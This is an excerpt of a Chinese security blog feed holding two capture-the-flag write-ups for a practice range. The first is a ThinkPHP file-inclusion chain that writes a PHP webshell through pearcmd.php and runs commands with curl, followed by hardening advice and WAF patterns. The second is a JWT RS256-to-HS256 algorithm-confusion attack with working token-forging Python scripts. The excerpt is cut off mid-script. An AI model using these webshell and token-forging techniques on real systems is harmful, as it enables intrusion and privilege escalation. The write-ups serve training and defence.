解析：\n\u0026lt;?=：PHP 短标签（等同于 \u0026lt;?php echo） ` ：反引号，执行 shell 命令 $_GET[x]：从 URL 参数 x 获取要执行的命令 ?\u0026gt;：PHP 结束标签 注意事项：\n使用 --globoff 禁用 curl 的 URL 通配符解析（避免 [ ] 被误解析） PHP 代码会被写入 PEAR 配置文件的路径字段中 第四步：执行命令获取 Flag 1# 方式 1：尝试常见 flag 位置 2curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/flag\u0026#34; 3curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt\u0026#34; 4curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/var/www/flag\u0026#34; 5 6# 方式 2：搜索 flag 文件 7curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=find+/+-name+flag*\u0026#34; 8 9# 方式 3：查看环境变量 10curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=env\u0026#34; 11 12# 方式 4：列出目录查找线索 13curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/\u0026#34; 14curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=ls+/tmp\u0026#34; 本题答案：\n1curl \u0026#34;http://dtljxzl.haobachang.loveli.com.cn:8888/s.php?x=cat+/tmp/flag.txt\u0026#34; 关键技术细节 1. 路径穿越的层数 ThinkPHP 不同版本和配置可能需要不同的 ../ 层数：\n1# 尝试不同深度 2../../../ 3../../../../../../../../ 4..././../.../ # ThinkPHP 特殊绕过 2. curl 命令的陷阱 问题 1：方括号被解析为范围\n1# 错误 2curl \u0026#39;http://example.com/?x=$_GET[x]\u0026#39; 3# curl: (3) bad range in URL position... 4 5# 解决 6curl --globoff \u0026#39;http://example.com/?x=$_GET[x]\u0026#39; 问题 2：URL 中的特殊字符\n1# 使用单引号包裹 URL，避免 shell 解释 $ 等字符 2curl \u0026#39;http://...\u0026#39; 3 4# 或使用 URL 编码 5# [ → %5B 6# ] → %5D 7# $ → %24 3. PHP 短标签 1\u0026lt;?= expression ?\u0026gt; # 等同于 \u0026lt;?php echo expression; ?\u0026gt; 2\u0026lt;?php expression; ?\u0026gt; # 完整标签（更兼容） 如果短标签不可用，改用完整标签：\n1curl --globoff \u0026#39;...\u0026amp;+config-create+/\u0026lt;?php system($_GET[x]);?\u0026gt;/+...\u0026#39; 漏洞修复/规避方法 1. ThinkPHP 框架层面 修复路径穿越漏洞 1// 不安全的代码 2$lang = $_GET[\u0026#39;lang\u0026#39;]; 3include \u0026#34;/path/to/lang/{$lang}.php\u0026#34;; 4 5// 安全修复 6$lang = $_GET[\u0026#39;lang\u0026#39;]; 7// 1. 白名单验证 8$allowed = [\u0026#39;zh-cn\u0026#39;, \u0026#39;en-us\u0026#39;, \u0026#39;ja\u0026#39;]; 9if (!in_array($lang, $allowed)) { 10 die(\u0026#39;Invalid language\u0026#39;); 11} 12 13// 2. 移除所有目录穿越字符 14$lang = str_replace([\u0026#39;../\u0026#39;, \u0026#39;.\\\\\u0026#39;, \u0026#39;..\\\\\u0026#39;], \u0026#39;\u0026#39;, $lang); 15$lang = basename($lang); // 只保留文件名 16 17// 3. 限制在指定目录 18$lang_file = realpath(\u0026#34;/path/to/lang/{$lang}.php\u0026#34;); 19if (strpos($lang_file, \u0026#39;/path/to/lang/\u0026#39;) !== 0) { 20 die(\u0026#39;Path traversal detected\u0026#39;); 21} 2. 服务器配置层面 禁用不必要的文件 1# 删除或移动 pearcmd.php（如果不需要 PEAR） 2rm /usr/local/lib/php/pearcmd.php 3 4# 或限制访问权限 5chmod 600 /usr/local/lib/php/pearcmd.php PHP 配置加固 1; php.ini 2open_basedir = /var/www/html:/tmp ; 限制可访问路径 3disable_functions = system,exec,passthru,shell_exec,popen,proc_open ; 禁用危险函数 4allow_url_include = Off ; 禁止包含远程文件 3. Web 应用防火墙（WAF）规则 # 检测路径穿越特征 .*\\.\\./.* .*\\.\\.\\\\.* .*%2e%2e%2f.* .*%2e%2e%5c.* # 检测常见敏感文件包含 .*/etc/passwd.* .*/usr/local/lib/php/pearcmd.* .*pearcmd.* # 检测 PHP 代码注入特征 .*\u0026lt;\\?php.* .*\u0026lt;\\?=.* .*`.*\\$_GET.* 4. 代码审计要点 在审计 ThinkPHP 或其他框架时，重点关注：\n1// 危险函数 2include() 3require() 4include_once() 5require_once() 6file_get_contents() 7readfile() 8fopen() 9 10// 用户可控参数 11$_GET 12$_POST 13$_REQUEST 14$_COOKIE 5. 安全开发建议 最小权限原则：Web 应用运行用户不应有写入敏感目录的权限 输入验证：对所有用户输入进行严格的白名单验证 路径规范化：使用 realpath() 获取真实路径后再验证 框架更新：及时更新到最新版本，修复已知漏洞 安全配置：按照官方安全加固指南配置框架和服务器 总结 本题综合考察了：\nThinkPHP 框架漏洞利用：多语言模块的路径穿越 文件包含漏洞利用：从 LFI 到 RCE 的进阶利用 PEAR 机制理解：pearcmd.php 的特殊行为 参数构造技巧：如何通过 URL 参数控制命令行参数 工具使用细节：curl 命令的各种陷阱和解决方案 核心利用链：ThinkPHP LFI → 包含 pearcmd.php → 参数注入 config-create → 写入 webshell → RCE\n这类漏洞的发现往往需要：\n对目标框架的深入了解 对常见漏洞模式的敏感度 不断的测试和尝试 查阅公开资料和 CVE 数据库 🔔 想要获取更多网络安全与编程技术干货？\n关注 泷羽Sec-静安 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻\n马上加入我们，共同成长！🌟\n👉 长按或扫描二维码关注公众号\n直接回复文章中的关键词，获取更多技术资料与书单推荐！📚\n","date":"2025-12-22T16:59:04+08:00","image":"https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251219144259217.png","permalink":"/post/%E5%A5%BD%E9%9D%B6%E5%9C%BA-tp1-0-wp/","title":"好靶场-TP1.0-WP"},{"content":" 关注泷羽Sec和泷羽Sec-静安公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具\n学安全，别只看书上手练，就来好靶场，本WP靶场已开放，欢迎体验：\n🔗 入口：http://www.loveli.com.cn/see_bug_one?id=419\n✅ 邀请码：48ffd1d7eba24bf4\n🎁 填写即领 7 天高级会员，解锁更多漏洞实战环境！快来一起实战吧！👇\n前置知识 JWT (JSON Web Token) 基础\nJWT 的三部分结构：Header.Payload.Signature 常见签名算法：RS256（非对称）、HS256（对称） Base64 URL 编码与解码 密码学基础\n非对称加密：RSA 公钥/私钥对 对称加密：HMAC-SHA256 数字签名验证流程 HTTP 协议\nCookie 机制 HTTP 请求/响应头 会话管理 Web 安全基础\n认证与授权 权限提升攻击 API 安全 靶场考点/漏洞原理 核心漏洞：JWT 算法混淆攻击（Algorithm Confusion） 漏洞原理：\nJWT 使用不同的算法进行签名验证：\nRS256（RSA + SHA256）：非对称算法，使用私钥签名，公钥验证 HS256（HMAC + SHA256）：对称算法，使用同一密钥签名和验证 当后端代码没有严格校验算法类型时，攻击者可以：\n将 Header 中的 alg 从 RS256 改为 HS256 使用公钥作为 HMAC 的密钥进行签名 服务器错误地使用公钥验证 HS256 签名，导致验证通过 伪代码示例（易受攻击的实现）：\n1# 错误的实现 2def verify_jwt(token): 3 header = decode_header(token) 4 algorithm = header[\u0026#39;alg\u0026#39;] # 从 token 中读取算法 5 6 if algorithm == \u0026#39;RS256\u0026#39;: 7 verify_with_public_key(token) # 使用公钥验证 8 elif algorithm == \u0026#39;HS256\u0026#39;: 9 verify_with_hmac(token, public_key) # 错误！用公钥当 HMAC 密钥 正确的实现应该：\n1# 安全的实现 2def verify_jwt(token): 3 expected_algorithm = \u0026#39;RS256\u0026#39; # 强制指定算法 4 header = decode_header(token) 5 6 if header[\u0026#39;alg\u0026#39;] != expected_algorithm: 7 raise SecurityError(\u0026#34;Algorithm mismatch\u0026#34;) 8 9 verify_with_public_key(token) 本题的关键难点 难点 1：时间戳问题 问题表现：\n生成的恶意 JWT 使用了过期或不一致的时间戳 服务器验证 iat（issued at）和 exp（expiration）时拒绝请求 解决方案：\n必须先登录获取有效的原始 token 从原始 token 中提取 iat 和 exp 在构造恶意 JWT 时使用相同的时间戳 错误示例：\n1# 错误：使用当前时间戳 2malicious_payload = { 3 \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, 4 \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;, 5 \u0026#34;iat\u0026#34;: int(time.time()), # ❌ 新时间戳 6 \u0026#34;exp\u0026#34;: int(time.time()) + 86400 7} 正确示例：\n1# 正确：复用原始 token 的时间戳 2original_payload = decode_jwt(original_token) 3malicious_payload = { 4 \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, 5 \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;, 6 \u0026#34;iat\u0026#34;: original_payload[\u0026#39;iat\u0026#39;], # ✅ 复用原始时间戳 7 \u0026#34;exp\u0026#34;: original_payload[\u0026#39;exp\u0026#39;] 8} 难点 2：公钥格式问题 问题表现：\n使用正确的算法和时间戳，但生成的签名与预期不符 服务器仍然返回 302 重定向到 /login 根本原因：\nHMAC 签名对输入极其敏感，公钥字符串中的任何差异（包括换行符、空格）都会导致完全不同的签名。\n测试验证：\n1# 公钥 A（8 个换行符） 2key_a = \u0026#34;\u0026#34;\u0026#34;-----BEGIN PUBLIC KEY----- 3MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... 4-----END PUBLIC KEY-----\u0026#34;\u0026#34;\u0026#34; # 长度 450 字符 5 6# 公钥 B（9 个换行符） 7key_b = \u0026#34;\u0026#34;\u0026#34;-----BEGIN PUBLIC KEY----- 8MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... 9 10-----END PUBLIC KEY-----\u0026#34;\u0026#34;\u0026#34; # 长度 451 字符 11 12# 即使内容相同，签名完全不同！ 13hmac.new(key_a.encode(), message, sha256).hexdigest() 14# 输出: 0f3c6eb2e84e14ed8bd5388232720edf... 15 16hmac.new(key_b.encode(), message, sha256).hexdigest() 17# 输出: a9f9868398a7eb2bb0d5a1ec6f5e37de... # ❌ 完全不同 解决方案：\n1# 标准化公钥格式 2def normalize_pem(pem_string): 3 lines = pem_string.strip().split(\u0026#39;\\n\u0026#39;) 4 return \u0026#39;\\n\u0026#39;.join(lines) # 确保每行之间只有一个换行符 5 6# 从 JWKS 转换时要保证格式一致 7pem_str = public_key.public_bytes( 8 encoding=serialization.Encoding.PEM, 9 format=serialization.PublicFormat.SubjectPublicKeyInfo 10).decode(\u0026#39;utf-8\u0026#39;) 11 12# 标准化 13normalized_pem = normalize_pem(pem_str) 为什么 Burp Suite 的 JWT Editor 可以成功？ Burp Suite JWT Editor 工具的优势：\n自动处理公钥格式\n工具内部统一了公钥的存储和使用格式 不会因为换行符、编码问题导致签名失败 可视化操作\n直接修改 JWT 的 Header 和 Payload 自动重新签名，无需手动处理 Base64 编码 内置算法混淆攻击\n提供 \u0026ldquo;Sign with symmetric key\u0026rdquo; 功能 直接将 PEM 公钥转换为 HS256 密钥使用 避免时间戳问题\n可以直接在当前有效的 token 上修改 保留原始的 iat 和 exp 手工攻击常见失败原因总结：\n错误类型 表现 原因 解决方法 时间戳过期 302 重定向到 /login 使用了新的时间戳而非原始 token 的时间戳 先登录获取有效 token，提取时间戳 公钥格式不一致 302 重定向到 /login 换行符数量不同导致签名完全不同 标准化公钥格式（去除多余换行） 算法未修改 依然显示 user Header 中 alg 仍为 RS256 确保修改为 HS256 Payload 未修改 依然显示 user role 字段未改为 admin 确保 role: \u0026ldquo;admin\u0026rdquo; 调试技巧：\n1# 对比两个 JWT 的差异 2def debug_jwt(jwt1, jwt2): 3 parts1 = jwt1.split(\u0026#39;.\u0026#39;) 4 parts2 = jwt2.split(\u0026#39;.\u0026#39;) 5 6 print(f\u0026#34;Header 相同: {parts1[0] == parts2[0]}\u0026#34;) 7 print(f\u0026#34;Payload 相同: {parts1[1] == parts2[1]}\u0026#34;) 8 print(f\u0026#34;Signature 相同: {parts1[2] == parts2[2]}\u0026#34;) 9 10 if parts1[0] == parts2[0] and parts1[1] == parts2[1]: 11 print(\u0026#34;签名不同 → 密钥格式问题！\u0026#34;) 这两个难点是本题的核心挑战，也是为什么很多人即使理解了算法混淆原理，仍然无法成功利用的原因。\n解题思路 打开靶场就看到非常贴心的提示了登录用户名和密码\n登录成功，仔细一看用户身份才是user就知道没有这么简单。\njwt就是找token，把token改成admin或者高权限的用户就可以。\n复制token的值丢AI解析一下加密方式\n1// Header 2{ 3 \u0026#34;alg\u0026#34;: \u0026#34;RS256\u0026#34;, 4 \u0026#34;kid\u0026#34;: \u0026#34;jwt-demo-key\u0026#34;, 5 \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; 6} 7 8// Payload 9{ 10 \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, 11 \u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, 12 \u0026#34;email\u0026#34;: \u0026#34;user@example.com\u0026#34;, 13 \u0026#34;exp\u0026#34;: 1766196705, 14 \u0026#34;iat\u0026#34;: 1766110305 15} 关键信息：\n算法: RS256 (RSA 非对称加密) 当前角色: user 目标: 修改为 admin 直接F12控制台一把梭上去，哎，怎么不对？后来发现是时间戳问题，我因为做这个题的时候刚打开电脑，有点懒不想打开BP，想着一个区区JWT题，算一下加密解密的就行。然后因为前后抓包的时间戳不同就是改不了user为admin。虽然看了其他WP大佬们都用BP一顿操作就成功了，但是我懒。 BP抓包不会遇到这个问题因为BP现抓现改。\n让AI给我 搓了一个半自动脚本\n1\u0026#34;\u0026#34;\u0026#34; 2手工辅助版：提供登录后的 token，自动完成攻击 3\u0026#34;\u0026#34;\u0026#34; 4 5import base64 6import json 7import hmac 8import hashlib 9 10# ============= 手动配置 ============= 11 12# 步骤1: 登录后，从响应的 Set-Cookie 中复制 token 13ORIGINAL_TOKEN = \u0026#34;eyJhbGciOiJSUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoidXNlciIsImVtYWlsIjoidXNlckBleGFtcGxlLmNvbSIsImV4cCI6MTc2NjE5OTI2NywiaWF0IjoxNzY2MTEyODY3fQ.FdzxFO9aMjhruABYTJ3OqBjYVgeMycDSGswFKkHN4KDFbP_fQjJcBMpHOQnWj5A3mPtyQRqYHemqUPQnWzXjvIdQygpWeA5z-ycIA40pCtRLLlcJ6xm2COXg1wfzNN0E-Yy2v8Q_PogIHFXxEuxMa4-ttiiKDSpwIlX06Lh58U5GqUW-6hUjIH9YrN10MBbh013eSooWLWvmvlqB25ZCNYMc9uGFnbq9kynpIrejbVRckYQaOxwU5pbzwedIJUFjbjrteWsCyGSkdSdbB89KiI_gtKuQHAJPqHLRNETXl1TVoI3oiojwEjk4CML3lay8oo5_e4SpfI6gHDTKXi3tmg\u0026#34; 14 15# 步骤2: 访问 /jwks.json 获取公钥，粘贴到这里 16PUBLIC_KEY_PEM = \u0026#34;\u0026#34;\u0026#34;-----BEGIN PUBLIC KEY----- 17MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAry7fD9dmGaehXB8hQRbv 18HzEySHYLw/E42O73Z//kod3J6OXOH2xOaaTHpUHnueF3jsy5XdK4+37J32fRlY+K 19bn2pJKeo2utj6Se984+R9XD8P+/ESmH+NRX60ZFVr38gjYO/H9FvtXM3dyEK1Evg 2040V6GmqT1fM2Q4GPPuQ9L1yt4j3vr2FM1MirOLODEOd3llY9QL0q2eOkkbvniKrM 21wwV9iEy9sPP5fnfCwJM+w8lir9MB06DquA/a+VanH2Ml9Yn9TjrVrNU5GEBgCrPe 22U10HbceGJBQ53TJZTbjPHU5aFe77RP5mY5gWqR1RHSvPIgP8FvTVTyBeB3ZNpGG3 23EwIDAQAB 24-----END PUBLIC KEY-----\u0026#34;\u0026#34;\u0026#34; 25 26TARGET_URL = \u0026#34;http://n68vwbq.haobachang.loveli.com.cn:8888\u0026#34; 27 28# ============= 自动处理 ============= 29 30def b64url_encode(data): 31 if isinstance(data, dict): 32 data = json.dumps(data, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode() 33 encoded = base64.urlsafe_b64encode(data).decode() 34 return encoded.rstrip(\u0026#39;=\u0026#39;) 35 36def b64url_decode(data): 37 padding = 4 - len(data) % 4 38 if padding != 4: 39 data += \u0026#39;=\u0026#39; * padding 40 return base64.urlsafe_b64decode(data) 41 42# 从原始 token 提取时间戳 43payload_b64 = ORIGINAL_TOKEN.split(\u0026#39;.\u0026#39;)[1] 44payload = json.loads(b64url_decode(payload_b64)) 45 46print(\u0026#34;=\u0026#34; * 70) 47print(\u0026#34;原始 Token Payload:\u0026#34;) 48print(json.dumps(payload, indent=2)) 49print(\u0026#34;=\u0026#34; * 70) 50 51# 构造恶意 JWT 52header = { 53 \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, 54 \u0026#34;kid\u0026#34;: \u0026#34;jwt-demo-key\u0026#34;, 55 \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; 56} 57 58malicious_payload = { 59 \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, 60 \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;, # 修改为 admin 61 \u0026#34;email\u0026#34;: \u0026#34;user@example.com\u0026#34;, 62 \u0026#34;iat\u0026#34;: payload[\u0026#39;iat\u0026#39;], 63 \u0026#34;exp\u0026#34;: payload[\u0026#39;exp\u0026#39;] 64} 65 66# 编码和签名 67header_b64 = b64url_encode(header) 68payload_b64 = b64url_encode(malicious_payload) 69message = f\u0026#34;{header_b64}.{payload_b64}\u0026#34;.encode() 70signature = hmac.new(PUBLIC_KEY_PEM.encode(), message, hashlib.sha256).digest() 71signature_b64 = b64url_encode(signature) 72 73malicious_jwt = f\u0026#34;{header_b64}.{payload_b64}.{signature_b64}\u0026#34; 74 75print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 70) 76print(\u0026#34;恶意 JWT:\u0026#34;) 77print(\u0026#34;=\u0026#34; * 70) 78print(malicious_jwt) 79 80print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 70) 81print(\u0026#34;一键 Curl 命令:\u0026#34;) 82print(\u0026#34;=\u0026#34; * 70) 83print(f\u0026#39;curl -v -H \u0026#34;Cookie: token={malicious_jwt}\u0026#34; {TARGET_URL}/profile\u0026#39;) 84 85print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 70) 86print(\u0026#34;Burp Suite 操作:\u0026#34;) 87print(\u0026#34;=\u0026#34; * 70) 88print(\u0026#34;1. 拦截 GET /profile 请求\u0026#34;) 89print(\u0026#34;2. 在 Cookie 中将 token 替换为上面的恶意 JWT\u0026#34;) 90print(\u0026#34;3. Forward 请求\u0026#34;) 91print(\u0026#34;=\u0026#34; * 70) 需要BP抓包login的登录，然后再把login登陆后返回的token值放脚本里面计算，然后替换到profile的重放包里面，或者用curl命令一键获取，前提是和burp抓包的login的token值一样，并且需要先login，保证时间戳。\n最终还是打开了BP，偷懒失败\n还是懒，不想用BP的话就用curl构造一个\n1curl -i -X POST \u0026#34;http://n68vwbq.haobachang.loveli.com.cn:8888/login\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;User-Agent: Mozilla/5.0\u0026#34; -d \u0026#39;{\u0026#34;data\u0026#34;:\u0026#34;aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA\u0026#34;}\u0026#39; 只要看到success的标志就是对的，然后手动复制token到上面的代码里面的token里面，/jwks.json 获取公钥后面就不用动了，公钥不会变。\n或者打开F12复制登录后的token值到上面这个半自动脚本计算，然后再在控制台里面输入如下内容\n1document.cookie=\u0026#34;token=eyJhbGciOiJIUzI1NiIsImtpZCI6Imp3dC1kZW1vLWtleSIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJyb2xlIjoiYWRtaW4iLCJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20iLCJpYXQiOjE3NjYxMTI3OTEsImV4cCI6MTc2NjE5OTE5MX0.HolA-DkeY4T8zBuJ-V8Yoz8LiJ4D472Di-9rNhIF8W4;path=/\u0026#34;;location.reload(); 我还是不能放弃一键梭哈的诱惑，然后让AI帮我写了个全自动脚本，不过只适合于这一题，因为profile之类的路径是写死的。\n1\u0026#34;\u0026#34;\u0026#34; 2JWT 算法混淆攻击工具 (RS256 -\u0026gt; HS256) 3支持自动模式和手动模式 4\u0026#34;\u0026#34;\u0026#34; 5 6import base64 7import json 8import hmac 9import hashlib 10import requests 11import sys 12import argparse 13import re 14 15TARGET_URL = \u0026#34;http://n68vwbq.haobachang.loveli.com.cn:8888\u0026#34; 16 17# ============= 工具函数 ============= 18 19def print_banner(): 20 print(\u0026#34;\\n\u0026#34; + \u0026#34;=\u0026#34; * 80) 21 print(\u0026#34;JWT 算法混淆攻击工具 (RS256 -\u0026gt; HS256)\u0026#34;) 22 print(\u0026#34;=\u0026#34; * 80 + \u0026#34;\\n\u0026#34;) 23 24def b64url_encode(data): 25 if isinstance(data, dict): 26 data = json.dumps(data, separators=(\u0026#39;,\u0026#39;, \u0026#39;:\u0026#39;)).encode() 27 elif isinstance(data, str): 28 data = data.encode() 29 encoded = base64.urlsafe_b64encode(data).decode() 30 return encoded.rstrip(\u0026#39;=\u0026#39;) 31 32def b64url_decode(data): 33 padding = 4 - len(data) % 4 34 if padding != 4: 35 data += \u0026#39;=\u0026#39; * padding 36 return base64.urlsafe_b64decode(data) 37 38# ============= 公钥获取 ============= 39 40def get_public_key_from_jwks(url): 41 \u0026#34;\u0026#34;\u0026#34;获取公钥并修正换行符格式\u0026#34;\u0026#34;\u0026#34; 42 print(f\u0026#34;[*] 正在获取公钥: {url}/jwks.json\u0026#34;) 43 44 try: 45 response = requests.get(f\u0026#34;{url}/jwks.json\u0026#34;, timeout=10) 46 response.raise_for_status() 47 jwks = response.json() 48 49 print(f\u0026#34;[+] 成功获取 JWKS\\n\u0026#34;) 50 51 try: 52 from cryptography.hazmat.primitives.asymmetric import rsa 53 from cryptography.hazmat.primitives import serialization 54 from cryptography.hazmat.backends import default_backend 55 56 first_key = jwks[\u0026#39;keys\u0026#39;][0] 57 n = int.from_bytes(b64url_decode(first_key[\u0026#39;n\u0026#39;]), \u0026#39;big\u0026#39;) 58 e = int.from_bytes(b64url_decode(first_key[\u0026#39;e\u0026#39;]), \u0026#39;big\u0026#39;) 59 60 public_key = rsa.RSAPublicNumbers(e, n).public_key(default_backend()) 61 pem = public_key.public_bytes( 62 encoding=serialization.Encoding.PEM, 63 format=serialization.PublicFormat.SubjectPublicKeyInfo 64 ) 65 66 pem_str = pem.decode(\u0026#39;utf-8\u0026#39;) 67 68 # 标准化换行符格式 69 lines = pem_str.strip().split(\u0026#39;\\n\u0026#39;) 70 normalized_pem = \u0026#39;\\n\u0026#39;.join(lines) 71 72 print(f\u0026#34;[+] 公钥转换成功\u0026#34;) 73 print(\u0026#34;-\u0026#34; * 80) 74 print(normalized_pem) 75 print(\u0026#34;-\u0026#34; * 80) 76 print() 77 78 return normalized_pem 79 80 except ImportError: 81 print(\u0026#34;[!] 需要安装: pip install cryptography\u0026#34;) 82 sys.exit(1) 83 84 except Exception as e: 85 print(f\u0026#34;[!] 获取公钥失败: {e}\u0026#34;) 86 sys.exit(1) 87 88# ============= 登录和 Token 获取 ============= 89 90def auto_login(url): 91 \u0026#34;\u0026#34;\u0026#34;自动登录并获取 token\u0026#34;\u0026#34;\u0026#34; 92 print(f\u0026#34;[*] 正在自动登录: {url}/login\u0026#34;) 93 94 login_data = { 95 \u0026#34;data\u0026#34;: \u0026#34;aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA\u0026#34; 96 } 97 98 headers = { 99 \u0026#34;Content-Type\u0026#34;: \u0026#34;application/json\u0026#34;, 100 \u0026#34;User-Agent\u0026#34;: \u0026#34;Mozilla/5.0\u0026#34; 101 } 102 103 try: 104 response = requests.post( 105 f\u0026#34;{url}/login\u0026#34;, 106 json=login_data, 107 headers=headers, 108 timeout=10 109 ) 110 111 print(f\u0026#34;[*] 响应状态码: {response.status_code}\u0026#34;) 112 113 # 从 Set-Cookie 中提取 token 114 token = None 115 if \u0026#39;Set-Cookie\u0026#39; in response.headers: 116 set_cookie = response.headers[\u0026#39;Set-Cookie\u0026#39;] 117 match = re.search(r\u0026#39;token=([^;]+)\u0026#39;, set_cookie) 118 if match: 119 token = match.group(1) 120 121 if not token: 122 print(f\u0026#34;[!] 未能从响应中提取 token\u0026#34;) 123 print(f\u0026#34;[!] 响应头: {response.headers}\u0026#34;) 124 print(f\u0026#34;[!] 响应体: {response.text}\u0026#34;) 125 return None, None 126 127 print(f\u0026#34;[+] 成功获取 token\\n\u0026#34;) 128 129 # 解码 payload 130 try: 131 payload_b64 = token.split(\u0026#39;.\u0026#39;)[1] 132 payload = json.loads(b64url_decode(payload_b64)) 133 134 print(f\u0026#34;[*] Token Payload:\u0026#34;) 135 print(json.dumps(payload, indent=2)) 136 print() 137 138 return token, payload 139 140 except Exception as e: 141 print(f\u0026#34;[!] Token 解码失败: {e}\u0026#34;) 142 return None, None 143 144 except Exception as e: 145 print(f\u0026#34;[!] 登录失败: {e}\u0026#34;) 146 return None, None 147 148def manual_get_token(url): 149 \u0026#34;\u0026#34;\u0026#34;手动模式：引导用户输入 token\u0026#34;\u0026#34;\u0026#34; 150 print(f\u0026#34;[*] 使用以下命令登录:\\n\u0026#34;) 151 152 curl_cmd = f\u0026#39;curl -i -X POST \u0026#34;{url}/login\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; -H \u0026#34;User-Agent: Mozilla/5.0\u0026#34; -d \\\u0026#39;{{\u0026#34;data\u0026#34;:\u0026#34;aAoiypHlZZkP41+VNV7YFSNpDeVLh+86ae99Ui49b6LQpCM5/7j2L1RudShESTmA\u0026#34;}}\\\u0026#39;\u0026#39; 153 print(curl_cmd) 154 print(\u0026#34;-\u0026#34; * 80) 155 print(\u0026#34;\\n请粘贴从响应中获取的 token:\\n\u0026#34;) 156 157 token = input(\u0026#34;Token: \u0026#34;).strip() 158 159 if not token: 160 print(\u0026#34;[!] Token 不能为空\u0026#34;) 161 sys.exit(1) 162 163 # 清理 token 164 if \u0026#39;token=\u0026#39; in token: 165 token = token.split(\u0026#39;token=\u0026#39;)[1].split(\u0026#39;;\u0026#39;)[0].strip() 166 167 if token.count(\u0026#39;.\u0026#39;) != 2: 168 print(f\u0026#34;[!] Token 格式错误\u0026#34;) 169 sys.exit(1) 170 171 try: 172 payload_b64 = token.split(\u0026#39;.\u0026#39;)[1] 173 payload = json.loads(b64url_decode(payload_b64)) 174 175 print(f\u0026#34;\\n[+] Token 解码成功\u0026#34;) 176 print(f\u0026#34;[*] 原始 Payload:\u0026#34;) 177 print(json.dumps(payload, indent=2)) 178 print() 179 180 return token, payload 181 182 except Exception as e: 183 print(f\u0026#34;[!] Token 解码失败: {e}\u0026#34;) 184 sys.exit(1) 185 186# ============= JWT 生成 ============= 187 188def create_malicious_jwt(public_key_pem, original_payload): 189 \u0026#34;\u0026#34;\u0026#34;生成恶意 JWT\u0026#34;\u0026#34;\u0026#34; 190 header = { 191 \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34;, 192 \u0026#34;kid\u0026#34;: \u0026#34;jwt-demo-key\u0026#34;, 193 \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34; 194 } 195 196 malicious_payload = { 197 \u0026#34;username\u0026#34;: \u0026#34;user\u0026#34;, 198 \u0026#34;role\u0026#34;: \u0026#34;admin\u0026#34;, 199 \u0026#34;email\u0026#34;: \u0026#34;user@example.com\u0026#34;, 200 \u0026#34;iat\u0026#34;: original_payload[\u0026#39;iat\u0026#39;], 201 \u0026#34;exp\u0026#34;: original_payload[\u0026#39;exp\u0026#39;] 202 } 203 204 print(f\u0026#34;[*] 原始 role: {original_payload.get(\u0026#39;role\u0026#39;)}\u0026#34;) 205 print(f\u0026#34;[*] 修改后 role: admin\u0026#34;) 206 print(f\u0026#34;[*] 时间戳: iat={malicious_payload[\u0026#39;iat\u0026#39;]}, exp={malicious_payload[\u0026#39;exp\u0026#39;]}\\n\u0026#34;) 207 208 # 编码 209 header_b64 = b64url_encode(header) 210 payload_b64 = b64url_encode(malicious_payload) 211 message = f\u0026#34;{header_b64}.{payload_b64}\u0026#34;.encode() 212 213 # 签名 214 signature = hmac.new(public_key_pem.encode(), message, hashlib.sha256).digest() 215 signature_b64 = b64url_encode(signature) 216 217 malicious_jwt = f\u0026#34;{header_b64}.{payload_b64}.{signature_b64}\u0026#34; 218 219 print(f\u0026#34;[+] 恶意 JWT 生成成功!\\n\u0026#34;) 220 221 return malicious_jwt 222 223# ============= 测试和攻击 ============= 224 225def test_jwt(url, jwt_token): 226 \u0026#34;\u0026#34;\u0026#34;测试恶意 JWT\u0026#34;\u0026#34;\u0026#34; 227 print(f\u0026#34;[*] 测试恶意 JWT...\u0026#34;) 228 print(\u0026#34;-\u0026#34; * 80) 229 230 try: 231 response = requests.get( 232 f\u0026#34;{url}/profile\u0026#34;, 233 cookies={\u0026#39;token\u0026#39;: jwt_token}, 234 timeout=10, 235 allow_redirects=False 236 ) 237 238 print(f\u0026#34;[*] 响应状态码: {response.status_code}\\n\u0026#34;) 